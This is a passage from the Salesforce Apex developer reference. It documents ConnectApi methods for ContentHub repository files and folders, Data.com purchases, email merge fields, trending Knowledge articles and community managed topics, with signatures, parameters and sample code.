Type: String
The ID of the repository file.
Return Value
Type: ConnectApi.RepositoryFileDetail
Example
final String gDriveRepositoryId = '0XCxx00000000ODGAY', gDriveFileId =
'file:0B0lTys1KmM3sTmxKNjVJbWZja00';
final ConnectApi.RepositoryFileDetail file =
ConnectApi.ContentHub.getRepositoryFile(gDriveRepositoryId, gDriveFileId);
System.debug(String.format('File - name: \'\'{0}\'\', size: {1}, external URL: \'\'{2}\'\',
download URL: \'\'{3}\'\'',
new String[]{ file.name, String.valueOf(file.contentSize), file.externalDocumentUrl,
file.downloadUrl}));
getRepositoryFile(repositoryId, repositoryFileId,
includeExternalFilePermissionsInfo)
Get a repository file with or without permissions information.
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.RepositoryFileDetail getRepositoryFile(String repositoryId,
String repositoryFileId, Boolean includeExternalFilePermissionsInfo)
1276
ContentHub ClassReference
Parameters
repositoryId
Type: String
The ID of the repository.
repositoryFileId
Type: String
The ID of the repository file.
includeExternalFilePermissionsInfo
Type: Boolean
Specifies whether to include permission information, such as whether the file is shared and what are the available permission types.
Managing external file permissions is supported for Google Drive, SharePoint Online, and OneDrive for Business.
Return Value
Type: ConnectApi.RepositoryFileDetail
Example
final String gDriveRepositoryId = '0XCxx00000000ODGAY', gDriveFileId =
'file:0B0lTys1KmM3sTmxKNjVJbWZja00';
final ConnectApi.RepositoryFileDetail file =
ConnectApi.ContentHub.getRepositoryFile(gDriveRepositoryId, gDriveFileId, true);
System.debug(String.format('File - name: \'\'{0}\'\', size: {1}, external URL: \'\'{2}\'\',
download URL: \'\'{3}\'\'',new String[]{ file.name, String.valueOf(file.contentSize),
file.externalDocumentUrl, file.downloadUrl}));
final ConnectApi.ExternalFilePermissionInformation externalFilePermInfo =
file.externalFilePermissionInformation;
//permission types
final List<ConnectApi.ContentHubPermissionType> permissionTypes =
externalFilePermInfo.externalFilePermissionTypes;
for(ConnectApi.ContentHubPermissionType permissionType : permissionTypes){
System.debug(String.format('Permission type - id: \'\'{0}\'\', label: \'\'{1}\'\'',new
String[]{ permissionType.id, permissionType.label}));
}
//permission groups
final List<ConnectApi.RepositoryGroupSummary> groups =
externalFilePermInfo.repositoryPublicGroups;
for(ConnectApi.RepositoryGroupSummary ggroup : groups){
System.debug(String.format('Group - id: \'\'{0}\'\', name: \'\'{1}\'\', type:
\'\'{2}\'\'',new String[]{ ggroup.id, ggroup.name, ggroup.type.name()}));
}
getRepositoryFile(communityId, repositoryId, repositoryFileId)
Get a repository file in a community.
1277
ContentHub ClassReference
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.RepositoryFileDetail getRepositoryFile(String communityId,
String repositoryId, String repositoryFileId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
repositoryId
Type: String
The ID of the repository.
repositoryFileId
Type: String
The ID of the repository file.
Return Value
Type: ConnectApi.RepositoryFileDetail
getRepositoryFile(communityId, repositoryId, repositoryFileId,
includeExternalFilePermissionsInfo)
Get a repository file with or without permissions information in a community.
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.RepositoryFileDetail getRepositoryFile(String communityId,
String repositoryId, String repositoryFileId, Boolean includeExternalFilePermissionsInfo)
1278
ContentHub ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
repositoryId
Type: String
The ID of the repository.
repositoryFileId
Type: String
The ID of the repository file.
includeExternalFilePermissionsInfo
Type: Boolean
Specifies whether to include permission information, such as whether the file is shared and what are the available permission types.
Managing external file permissions is supported for Google Drive, SharePoint Online, and OneDrive for Business.
Return Value
Type: ConnectApi.RepositoryFileDetail
getRepositoryFolder(repositoryId, repositoryFolderId)
Get a repository folder.
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.RepositoryFolderDetail getRepositoryFolder(String repositoryId,
String repositoryFolderId)
Parameters
repositoryId
Type: String
The ID of the repository.
repositoryFolderId
Type: String
The ID of the repository folder.
1279
ContentHub ClassReference
Return Value
Type: ConnectApi.RepositoryFolderDetail
Example
final String gDriveRepositoryId = '0XCxx00000000ODGAY', gDriveFolderId =
'folder:0B0lTys1KmM3sSVJ2bjIzTGFqSWs';
final ConnectApi.RepositoryFolderDetail folder =
ConnectApi.ContentHub.getRepositoryFolder(gDriveRepositoryId, gDriveFolderId);
System.debug(String.format('Folder - name: \'\'{0}\'\', description: \'\'{1}\'\', external
URL: \'\'{2}\'\', folder items URL: \'\'{3}\'\'',
new String[]{ folder.name, folder.description, folder.externalFolderUrl,
folder.folderItemsUrl}));
getRepositoryFolder(communityId, repositoryId, repositoryFolderId)
Get a repository folder in a community.
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.RepositoryFolderDetail getRepositoryFolder(String communityId,
String repositoryId, String repositoryFolderId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
repositoryId
Type: String
The ID of the repository.
repositoryFolderId
Type: String
The ID of the repository folder.
Return Value
Type: ConnectApi.RepositoryFolderDetail
1280
ContentHub ClassReference
getRepositoryFolderItems(repositoryId, repositoryFolderId)
Get repository folder items.
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.RepositoryFolderItemsCollection getRepositoryFolderItems(String
repositoryId, String repositoryFolderId)
Parameters
repositoryId
Type: String
The ID of the repository.
repositoryFolderId
Type: String
The ID of the repository folder.
Return Value
Type: ConnectApi.RepositoryFolderItemsCollection
Example
This example gets the collection of items in a repository folder. For files, we show the file’s name, size, external URL, and download URL.
For folders, we show the folder’s name, description, and external URL.
final String gDriveRepositoryId = '0XCxx00000000ODGAY', gDriveFolderId =
'folder:0B0lTys1KmM3sSVJ2bjIzTGFqSWs';
final ConnectApi.RepositoryFolderItemsCollection folderItemsColl =
ConnectApi.ContentHub.getRepositoryFolderItems(gDriveRepositoryId,gDriveFolderId);
final List<ConnectApi.RepositoryFolderItem> folderItems = folderItemsColl.items;
System.debug('Number of items in repository folder: ' + folderItems.size());
for(ConnectApi.RepositoryFolderItem item : folderItems){
ConnectApi.RepositoryFileSummary fileSummary = item.file;
if(fileSummary != null){
System.debug(String.format('File item - name: \'\'{0}\'\', size: {1}, external URL:
\'\'{2}\'\', download URL: \'\'{3}\'\'',new String[]{ fileSummary.name,
String.valueOf(fileSummary.contentSize), fileSummary.externalDocumentUrl,
fileSummary.downloadUrl}));
}else{
ConnectApi.RepositoryFolderSummary folderSummary = item.folder;
System.debug(String.format('Folder item - name: \'\'{0}\'\', description:
\'\'{1}\'\'',new String[]{ folderSummary.name, folderSummary.description}));
1281
ContentHub ClassReference
}
}
getRepositoryFolderItems(communityId, repositoryId, repositoryFolderId)
Get repository folder items in a community.
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.RepositoryFolderItemsCollection getRepositoryFolderItems(String
communityId, String repositoryId, String repositoryFolderId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
repositoryId
Type: String
The ID of the repository.
repositoryFolderId
Type: String
The ID of the repository folder.
Return Value
Type: ConnectApi.RepositoryFolderItemsCollection
getRepositoryFolderItems(repositoryId, repositoryFolderId, pageParam,
pageSize)
Get a page of repository folder items.
API Version
39.0
Requires Chatter
No
1282
ContentHub ClassReference
Signature
public static ConnectApi.RepositoryFolderItemsCollection getRepositoryFolderItems(String
repositoryId, String repositoryFolderId, Integer pageParam, Integer pageSize)
Parameters
repositoryId
Type: String
The ID of the repository.
repositoryFolderId
Type: String
The ID of the repository folder.
pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default page size is 25.
Return Value
Type: ConnectApi.RepositoryFolderItemsCollection
getRepositoryFolderItems(communityId, repositoryId, repositoryFolderId,
pageParam, pageSize)
Get a page of repository folder items in a community.
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.RepositoryFolderItemsCollection getRepositoryFolderItems(String
communityId, String repositoryId, String repositoryFolderId, Integer pageParam, Integer
pageSize)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
1283
ContentHub ClassReference
repositoryId
Type: String
The ID of the repository.
repositoryFolderId
Type: String
The ID of the repository folder.
pageParam
Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize
Type: Integer
Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default page size is 25.
Return Value
Type: ConnectApi.RepositoryFolderItemsCollection
updateRepositoryFile(repositoryId, repositoryFileId, file)
Update the metadata of a repository file.
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.RepositoryFileDetail updateRepositoryFile(String repositoryId,
String repositoryFileId, ConnectApi.ContentHubItemInput file)
Parameters
repositoryId
Type: String
The ID of the repository.
repositoryFileId
Type: String
The ID of the repository file.
file
Type: ConnectApi.ContentHubItemInput
The item type ID and fields of the item type.
1284
ContentHub ClassReference
Return Value
Type: ConnectApi.RepositoryFileDetail
Example
This example updates the metadata of a file in a repository. After the file is updated, we show the file’s ID, name, description, external
URL, download URL.
final String gDriveRepositoryId = '0XCxx00000000ODGAY', gDriveFolderId =
'folder:0B0lTys1KmM3sSVJ2bjIzTGFqSWs', gDriveFileId =
'document:1q9OatVpcyYBK-JWzp_PhR75ulQghwFP15zhkamKrRcQ';
final ConnectApi.ContentHubItemInput updatedItem = new ConnectApi.ContentHubItemInput();
updatedItem.itemTypeId = 'document';//see getAllowedTypes for any file item types available
for creation/update
updatedItem.fields = new List<ConnectApi.ContentHubFieldValueInput>();
//Metadata: name field
final ConnectApi.ContentHubFieldValueInput fieldValueInputName = new
ConnectApi.ContentHubFieldValueInput();
fieldValueInputName.name = 'name';
fieldValueInputName.value = 'updated file name.txt';
updatedItem.fields.add(fieldValueInputName);
//Metadata: description field
final ConnectApi.ContentHubFieldValueInput fieldValueInputNameDesc = new
ConnectApi.ContentHubFieldValueInput();
fieldValueInputNameDesc.name = 'description';
fieldValueInputNameDesc.value = 'that updates the former description';
updatedItem.fields.add(fieldValueInputNameDesc);
final ConnectApi.RepositoryFileDetail updatedFile =
ConnectApi.ContentHub.updateRepositoryFile(gDriveRepositoryId, gDriveFileId, updatedItem);
System.debug(String.format('Updated file - id: \'\'{0}\'\', name: \'\'{1}\'\', description:
\'\'{2}\'\',\n external URL: \'\'{3}\'\', download URL: \'\'{4}\'\'',new String[]{
updatedFile.id, updatedFile.name, updatedFile.description, updatedFile.externalDocumentUrl,
updatedFile.downloadUrl}));
updateRepositoryFile(repositoryId, repositoryFileId, file, fileData)
Update the content of a repository file.
API Version
39.0
Requires Chatter
No
1285
ContentHub ClassReference
Signature
public static ConnectApi.RepositoryFileDetail updateRepositoryFile(String repositoryId,
String repositoryFileId, ConnectApi.ContentHubItemInput file, ConnectApi.BinaryInput
fileData)
Parameters
repositoryId
Type: String
The ID of the repository.
repositoryFileId
Type: String
The ID of the repository file.
file
Type: ConnectApi.ContentHubItemInput
The item type ID and fields of the item type.
fileData
Type: ConnectApi.BinaryInput
The binary file.
Return Value
Type: ConnectApi.RepositoryFileDetail
Example
This example updates the content and metadata of a file in a repository. After the file is updated, we show the file’s ID, name, description,
external URL, and download URL.
final String gDriveRepositoryId = '0XCxx00000000ODGAY', gDriveFolderId =
'folder:0B0lTys1KmM3sSVJ2bjIzTGFqSWs', gDriveFileId =
'document:1q9OatVpcyYBK-JWzp_PhR75ulQghwFP15zhkamKrRcQ';
final ConnectApi.ContentHubItemInput updatedItem = new ConnectApi.ContentHubItemInput();
updatedItem.itemTypeId = 'document';//see getAllowedTypes for any file item types available
for creation/update
updatedItem.fields = new List<ConnectApi.ContentHubFieldValueInput>();
//Metadata: name field
final ConnectApi.ContentHubFieldValueInput fieldValueInputName = new
ConnectApi.ContentHubFieldValueInput();
fieldValueInputName.name = 'name';
fieldValueInputName.value = 'updated file name.txt';
updatedItem.fields.add(fieldValueInputName);
//Metadata: description field
final ConnectApi.ContentHubFieldValueInput fieldValueInputNameDesc = new
ConnectApi.ContentHubFieldValueInput();
fieldValueInputNameDesc.name = 'description';
1286
ContentHub ClassReference
fieldValueInputNameDesc.value = 'that updates the former description';
updatedItem.fields.add(fieldValueInputNameDesc);
//Binary content
final Blob updatedFileBlob = Blob.valueOf('even more awesome content for updated file');
final String updatedFileMimeType = 'text/plain';
final ConnectApi.BinaryInput fileBinaryInput = new ConnectApi.BinaryInput(updatedFileBlob,
updatedFileMimeType, updatedFileName);
final ConnectApi.RepositoryFileDetail updatedFile =
ConnectApi.ContentHub.updateRepositoryFile(gDriveRepositoryId, gDriveFileId, updatedItem);
System.debug(String.format('Updated file - id: \'\'{0}\'\', name: \'\'{1}\'\', description:
\'\'{2}\'\',\n external URL: \'\'{3}\'\', download URL: \'\'{4}\'\'',new String[]{
updatedFile.id, updatedFile.name, updatedFile.description, updatedFile.externalDocumentUrl,
updatedFile.downloadUrl}));
updateRepositoryFile(communityId, repositoryId, repositoryFileId, file)
Update the metadata of a repository file in a community.
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.RepositoryFileDetail updateRepositoryFile(String communityId,
String repositoryId, String repositoryFileId, ConnectApi.ContentHubItemInput file)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
repositoryId
Type: String
The ID of the repository.
repositoryFileId
Type: String
The ID of the repository file.
file
Type: ConnectApi.ContentHubItemInput
The item type ID and fields of the item type.
1287
ContentHub ClassReference
Return Value
Type: ConnectApi.RepositoryFileDetail
updateRepositoryFile(communityId, repositoryId, repositoryFileId, file,
fileData)
Update the content of a repository file in a community.
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.RepositoryFileDetail updateRepositoryFile(String communityId,
String repositoryId, String repositoryFileId, ConnectApi.ContentHubItemInput file,
ConnectApi.BinaryInput fileData)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
repositoryId
Type: String
The ID of the repository.
repositoryFileId
Type: String
The ID of the repository file.
file
Type: ConnectApi.ContentHubItemInput
The item type ID and fields of the item type.
fileData
Type: ConnectApi.BinaryInput
The binary file.
Return Value
Type: ConnectApi.RepositoryFileDetail
1288
ContentHub ClassReference
Datacloud Class
Purchase Data.com contact or company records, and retrieve purchase information.
Namespace
ConnectApi
IN THIS SECTION:
Datacloud Methods
Datacloud Methods
The following are methods for Datacloud. All methods are static.
IN THIS SECTION:
getCompaniesFromOrder(orderId, pageSize, page)
Retrieves a list of purchased company records for an order.
getCompany(companyId)
Retrieves a company record from an identification number.
getContact(contactId)
Retrieves a contact record from an identification number.
getContactsFromOrder(orderId, page, pageSize)
Retrieves a list of purchased contacts for an order.
getOrder(orderId)
Retrieves purchased records for an order.
getUsage(userId)
Retrieves purchase usage information for a specific user.
postOrder(orderInput)
Purchase records that are listed in an input file.
getCompaniesFromOrder(orderId, pageSize, page)
Retrieves a list of purchased company records for an order.
API Version
32.0
Requires Chatter
No
1289
Datacloud ClassReference
Signature
public static ConnectApi.DatacloudCompanies getCompaniesFromOrder(String orderId, String
pageSize, String page)
Parameters
orderId
Type: String
A unique number that identifies an order.
page
Type: String
The number of the page that you want returned.
pageSize
Type: String
The number of companies to show on a page. The default pageSize is 25.
Return Value
Type: ConnectApi.DatacloudCompanies
getCompany(companyId)
Retrieves a company record from an identification number.
API Version
32.0
Requires Chatter
No
Signature
public static ConnectApi.DatacloudCompany getCompany(String companyId)
Parameters
companyId
Type: String
A numeric identifier for a company in the Data.com database.
Return Value
Type: ConnectApi.DatacloudCompany
1290
Datacloud ClassReference
Example
ConnectApi.DatacloudCompany DatacloudCompanyRep = ConnectApi.Datacloud.getCompany(companyId);
getContact(contactId)
Retrieves a contact record from an identification number.
API Version
32.0
Requires Chatter
No
Signature
public static ConnectApi.DatacloudContact getContact(String contactId)
Parameters
contactId
Type: String
A unique numeric string that identifies a contact in the Data.com database.
Return Value
Type: ConnectApi.DatacloudContact
Example
ConnectApi.DatacloudContact DatacloudContactRep = ConnectApi.Datacloud.getContact(contactId);
getContactsFromOrder(orderId, page, pageSize)
Retrieves a list of purchased contacts for an order.
API Version
32.0
Requires Chatter
No
Signature
public static ConnectApi.DatacloudContacts getContactsFromOrder(String orderId, String
page, String pageSize)
1291
Datacloud ClassReference
Parameters
orderId
Type: String
A unique number that’s associated with an order.
page
Type: String
The number of the page that you want returned.
pageSize
Type: String
The number of contacts to show on a page. The default pageSize is 25.
Return Value
Type: ConnectApi.DatacloudContacts
getOrder(orderId)
Retrieves purchased records for an order.
API Version
32.0
Requires Chatter
No
Signature
public static ConnectApi.DatacloudOrder getOrder(String orderId)
Parameters
orderId
Type: String
A unique number that identifies an order.
Return Value
Type: ConnectApi.DatacloudOrder
Example
ConnectApi.DatacloudOrder datacloudOrderRep = ConnectApi.Datacloud.getOrder(orderId);
getUsage(userId)
Retrieves purchase usage information for a specific user.
1292
Datacloud ClassReference
API Version
32.0
Requires Chatter
No
Signature
public static ConnectApi.DatacloudPurchaseUsage getUsage(String userId)
Parameters
userId
Type: String
A unique number that identifies a single user.
Return Value
Type: ConnectApi.DatacloudPurchaseUsage
Example
ConnectApi.DatacloudPurchaseUsage datacloudPurchaseUsageRep =
ConnectApi.Datacloud.getUsage(userId);
postOrder(orderInput)
Purchase records that are listed in an input file.
API Version
32.0
Requires Chatter
No
Signature
public static ConnectApi.DatacloudOrder postOrder(ConnectApi.DatacloudOrderInput
orderInput)
Parameters
orderInput
Type: ConnectApi.DatacloudOrderInput
A list that contains IDs for the contacts or companies that you want to see.
1293
Datacloud ClassReference
Return Value
Type: ConnectApi.DatacloudOrder
Example
ConnectApi.DatacloudOrderInput inputOrder=new ConnectApi.DatacloudOrderInput();
List<String> ids=new List<String>();
ids.add('1234');
inputOrder.companyIds=ids;
ConnectApi.DatacloudOrder datacloudOrderRep = ConnectApi.Datacloud.postOrder(inputOrder);
EmailMergeFieldService Class
Extract a list of merge fields for an object. A merge field is a field you can put in an email template, mail merge template, custom link,
or formula to incorporate values from a record.
Namespace
ConnectApi
EmailMergeFieldService Methods
The following are methods for EmailMergeFieldService. All methods are static.
IN THIS SECTION:
getMergeFields(objectApiNames)
Extract the merge fields for a specific object.
getMergeFields(objectApiNames)
Extract the merge fields for a specific object.
API Version
39.0
Requires Chatter
No
Signature
public static ConnectApi.EmailMergeFieldInfo getMergeFields(List<String> objectApiNames)
Parameters
objectApiNames
Type: List<String>
1294
EmailMergeFieldService ClassReference
The API names for the objects being referenced.
Return Value
Type: ConnectApi.EmailMergeFieldInfo
ExternalEmailServices Class
Access information about integration with external email services, such as sending email within Salesforce through an external email
account.
Namespace
ConnectApi
External Email Services Methods
The following are methods for ExternalEmailService. All methods are static.
IN THIS SECTION:
getUserOauthInfo(landingPage)
Get information about whether an external email service has been authorized to send email on behalf of a user.
getUserOauthInfo(landingPage)
Get information about whether an external email service has been authorized to send email on behalf of a user.
API Version
37.0
Requires Chatter
No
Signature
public static getUserOauthInfo(String landingPage)
Parameters
landingPage
Type: String
The landing page that the user starts on when they are finished with the OAuth authorization process.
1295
ExternalEmailServices ClassReference
Return Value
Type: UserOauthInfo
SEE ALSO:
Testing ConnectApi Code
Knowledge Class
Access information about trending articles in communities.
Namespace
ConnectApi
Knowledge Methods
The following are methods for Knowledge. All methods are static.
IN THIS SECTION:
getTrendingArticles(communityId, maxResults)
Get trending articles for a community.
getTrendingArticlesForTopic(communityId, topicId, maxResults)
Get the trending articles for a topic in a community.
getTrendingArticles(communityId, maxResults)
Get trending articles for a community.
API Version
36.0
Available to Guest Users
36.0
Requires Chatter
No
Signature
public static ConnectApi.KnowledgeArticleVersionCollection getTrendingArticles(String
communityId, Integer maxResults)
1296
Knowledge ClassReference
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
maxResults
Type: Integer
The maximum number of articles returned. Values can be from 0 to 25. Default is 5.
Return Value
Type: ConnectApi.KnowledgeArticleVersionCollection
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetTrendingArticles(communityId, maxResults, result)
Testing ConnectApi Code
getTrendingArticlesForTopic(communityId, topicId, maxResults)
Get the trending articles for a topic in a community.
API Version
36.0
Available to Guest Users
36.0
Requires Chatter
No
Signature
public static ConnectApi.KnowledgeArticleVersionCollection
getTrendingArticlesForTopic(String communityId, String topicId, Integer maxResults)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
1297
Knowledge ClassReference
topicId
Type: String
ID of the topic.
maxResults
Type: Integer
The maximum number of articles returned. Values can be from 0 to 25. Default is 5.
Return Value
Type: ConnectApi.KnowledgeArticleVersionCollection
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetTrendingArticlesForTopic(communityId, topicId, maxResults, result)
Testing ConnectApi Code
Knowledge Test Methods
The following are the test methods for Knowledge. All methods are static.
For information about using these methods to test your ConnectApi code, see Testing ConnectApi Code.
setTestGetTrendingArticles(communityId, maxResults, result)
Registers a ConnectApi.KnowledgeVersionArticleCollection object to be returned when the matching
ConnectApi.getTrendingArticles method is called in a test context. Use the method with the same parameters or you
receive an exception.
API Version
36.0
Signature
public static Void setTestGetTrendingArticles(String communityId, Integer maxResults,
ConnectApi.KnowledgeArticleVersionCollection result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
maxResults
Type: Integer
1298
Knowledge ClassReference
The maximum number of articles returned. Values can be from 0 to 25. Default is 5.
result
Type: ConnectApi.KnowledgeArticleVersionCollection
The object containing test data.
Return Value
Type: Void
SEE ALSO:
getTrendingArticles(communityId, maxResults)
Testing ConnectApi Code
setTestGetTrendingArticlesForTopic(communityId, topicId, maxResults, result)
Registers a ConnectApi.KnowledgeVersionArticleCollection object to be returned when the matching
ConnectApi.getTrendingArticlesForTopic method is called in a test context. Use the method with the same parameters
or you receive an exception.
API Version
36.0
Signature
public static Void setTestGetTrendingArticlesForTopic(String communityId, String topicId,
Integer maxResults, ConnectApi.KnowledgeArticleVersionCollection result)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
topicId
Type: String
ID of the topic.
maxResults
Type: Integer
The maximum number of articles returned. Values can be from 0 to 25. Default is 5.
result
Type: ConnectApi.KnowledgeArticleVersionCollection
The object containing test data.
1299
Knowledge ClassReference
Return Value
Type: Void
SEE ALSO:
getTrendingArticlesForTopic(communityId, topicId, maxResults)
Testing ConnectApi Code
ManagedTopics Class
Access information about managed topics in a community. Create, delete, and reorder managed topics.
Namespace
ConnectApi
ManagedTopics Methods
The following are methods for ManagedTopics. All methods are static.
IN THIS SECTION:
createManagedTopic(communityId, recordId, managedTopicType)
Creates a managed topic of a specific type for the specified community.
createManagedTopic(communityId, recordId, managedTopicType, parentId)
Creates a child managed topic for a community.
createManagedTopicByName(communityId, name, managedTopicType)
Creates a managed topic of a specific type by name for the specified community.
createManagedTopicByName(communityId, name, managedTopicType, parentId)
Creates a child managed topic by name for a community.
deleteManagedTopic(communityId, managedTopicId)
Deletes a managed topic from the specified community.
getManagedTopic(communityId, managedTopicId)
Returns information about a managed topic in a community.
getManagedTopic(communityId, managedTopicId, depth)
Returns information about a managed topic, including its parent and children managed topics, in a community.
getManagedTopics(communityId)
Returns the managed topics for the community.
getManagedTopics(communityId, managedTopicType)
Returns managed topics of a specified type for the community.
getManagedTopics(communityId, managedTopicType, depth)
Returns managed topics of a specified type, including their parent and children managed topics, in a community.
1300
ManagedTopics ClassReference
getManagedTopics(communityId, managedTopicType, recordId, depth)
Returns managed topics of a specified type, including their parent and children managed topics, that are associated with a given
topic in a community.
getManagedTopics(communityId, managedTopicType, recordIds, depth)
Returns managed topics of a specified type, including their parent and children managed topics, that are associated with topics in
a community.
reorderManagedTopics(communityId, managedTopicPositionCollection)
Reorders the relative positions of managed topics in a community.
createManagedTopic(communityId, recordId, managedTopicType)
Creates a managed topic of a specific type for the specified community.
API Version
32.0
Requires Chatter
No
Signature
public static ConnectApi.ManagedTopic createManagedTopic(String communityId, String
recordId, ConnectApi.ManagedTopicType managedTopicType)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
recordId
Type: String
ID of the topic.
managedTopicType
Type: ConnectApi.ManagedTopicType
Specify the type of managed topic.
•Featured—Topics that are featured, for example, on the community home page, but don’t provide overall navigation.
•Navigational—Topics that display in a navigational menu in the community.
A topic can be associated with up to two managed topic types, so a topic can be both a Featured topic and a Navigational
topic.
You can create up to 25 managed topics per managedTopicType.
Return Value
Type: ConnectApi.ManagedTopic
1301
ManagedTopics ClassReference
Usage
Only community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can create managed
topics.
createManagedTopic(communityId, recordId, managedTopicType, parentId)
Creates a child managed topic for a community.
API Version
35.0
Requires Chatter
No
Signature
public static ConnectApi.ManagedTopic createManagedTopic(String communityId, String
recordId, ConnectApi.ManagedTopicType managedTopicType, String parentId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
recordId
Type: String
ID of the topic.
managedTopicType
Type: ConnectApi.ManagedTopicType
Specify Navigational for the type of managed topic to create a child managed topic.
A topic can be associated with up to two managed topic types, so a topic can be both a Featured topic and a Navigational
topic.
You can create up to 25 managed topics per managedTopicType.
parentId
Type: String
ID of the parent managed topic.
You can create up to three levels (parent, direct children, and their children) of managed topics and up to 10 children managed
topics per managed topic.
Return Value
Type: ConnectApi.ManagedTopic
1302
ManagedTopics ClassReference
Usage
Only community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can create managed
topics.
createManagedTopicByName(communityId, name, managedTopicType)
Creates a managed topic of a specific type by name for the specified community.
API Version
32.0
Requires Chatter
No
Signature
public static ConnectApi.ManagedTopic createManagedTopicByName(String communityId,
String name, ConnectApi.ManagedTopicType managedTopicType)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
name
Type: String
Name of the topic.
managedTopicType
Type: ConnectApi.ManagedTopicType
Specify the type of managed topic.
•Featured—Topics that are featured, for example, on the community home page, but don’t provide overall navigation.
•Navigational—Topics that display in a navigational menu in the community.
A topic can be associated with up to two managed topic types, so a topic can be both a Featured topic and a Navigational
topic.
You can create up to 25 managed topics per managedTopicType.
Return Value
Type: ConnectApi.ManagedTopic
Usage
Only community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can create managed
topics.
1303
ManagedTopics ClassReference
createManagedTopicByName(communityId, name, managedTopicType, parentId)
Creates a child managed topic by name for a community.
API Version
35.0
Requires Chatter
No
Signature
public static ConnectApi.ManagedTopic createManagedTopicByName(String communityId,
String name, ConnectApi.ManagedTopicType managedTopicType, String parentId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
name
Type: String
Name of the topic.
managedTopicType
Type: ConnectApi.ManagedTopicType
Specify Navigational for the type of managed topic to create a child managed topic.
A topic can be associated with up to two managed topic types, so a topic can be both a Featured topic and a Navigational
topic.
You can create up to 25 managed topics per managedTopicType.
parentId
Type: String
ID of the parent managed topic.
You can create up to three levels (parent, direct children, and their children) of managed topics and up to 10 children managed
topics per managed topic.
Return Value
Type: ConnectApi.ManagedTopic
Usage
Only community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can create managed
topics.
1304
ManagedTopics ClassReference
deleteManagedTopic(communityId, managedTopicId)
Deletes a managed topic from the specified community.
API Version
32.0
Requires Chatter
No
Signature
public static deleteManagedTopic(String communityId, String managedTopicId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
managedTopicId
Type: String
ID of managed topic.
Return Value
Type: Void
Usage
Only community managers (users with the “Create and Set Up Communities” or “Manage Communities” permission) can delete managed
topics.
getManagedTopic(communityId, managedTopicId)
Returns information about a managed topic in a community.
API Version
32.0
Available to Guest Users
32.0
Requires Chatter
No
1305
ManagedTopics ClassReference
Signature
public static ConnectApi.ManagedTopic getManagedTopic(String communityId, String
managedTopicId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
managedTopicId
Type: String
ID of managed topic.
Return Value
Type: ConnectApi.ManagedTopic
getManagedTopic(communityId, managedTopicId, depth)
Returns information about a managed topic, including its parent and children managed topics, in a community.
API Version
35.0
Available to Guest Users
35.0
Requires Chatter
No
Signature
public static ConnectApi.ManagedTopic getManagedTopic(String communityId, String
managedTopicId, Integer depth)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
managedTopicId
Type: String
ID of managed topic.
depth
Type: Integer
1306
ManagedTopics ClassReference
Specify an integer 1–3. If you specify 1, the children property of the ConnectApi.ManagedTopic output class is null.
If you specify 2, the children property of the ConnectApi.ManagedTopic output class contains the direct children
managed topics, if any, of the managed topic. If you specify 3, you get the direct children managed topics and their children managed
topics if there are any. If depth isn’t specified, it defaults to 1.
Return Value
Type: ConnectApi.ManagedTopic
getManagedTopics(communityId)
Returns the managed topics for the community.
API Version
32.0
Available to Guest Users
32.0
Requires Chatter
No
Signature
public static ConnectApi.ManagedTopicCollection getManagedTopics(String communityId)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
Return Value
Type: ConnectApi.ManagedTopicCollection
getManagedTopics(communityId, managedTopicType)
Returns managed topics of a specified type for the community.
API Version
32.0
Available to Guest Users
32.0
1307
ManagedTopics ClassReference
Requires Chatter
No
Signature
public static ConnectApi.ManagedTopicCollection getManagedTopics(String communityId,
ConnectApi.ManagedTopicType managedTopicType)
Parameters
communityId
Type: String
Use either the ID for a community, internal, or null.
managedTopicType
Type: ConnectApi.ManagedTopicType
Specifies the type of managed topic.
•Featured—Topics that are featured, for example, on the community home page, but don’t provide overall navigation.
•Navigational—Topics that display in a navigational menu in the community.
A topic can be associated with up to two managed topic types, so a topic can be both a Featured topic and a Navigational
topic.
Return Value
Type: ConnectApi.ManagedTopicCollection
getManagedTopics(communityId, managedTopicType, depth)
Returns managed topics of a specified type, including their parent and children managed topics, in a community.
API Version
35.0
Available to Guest Users
35.0
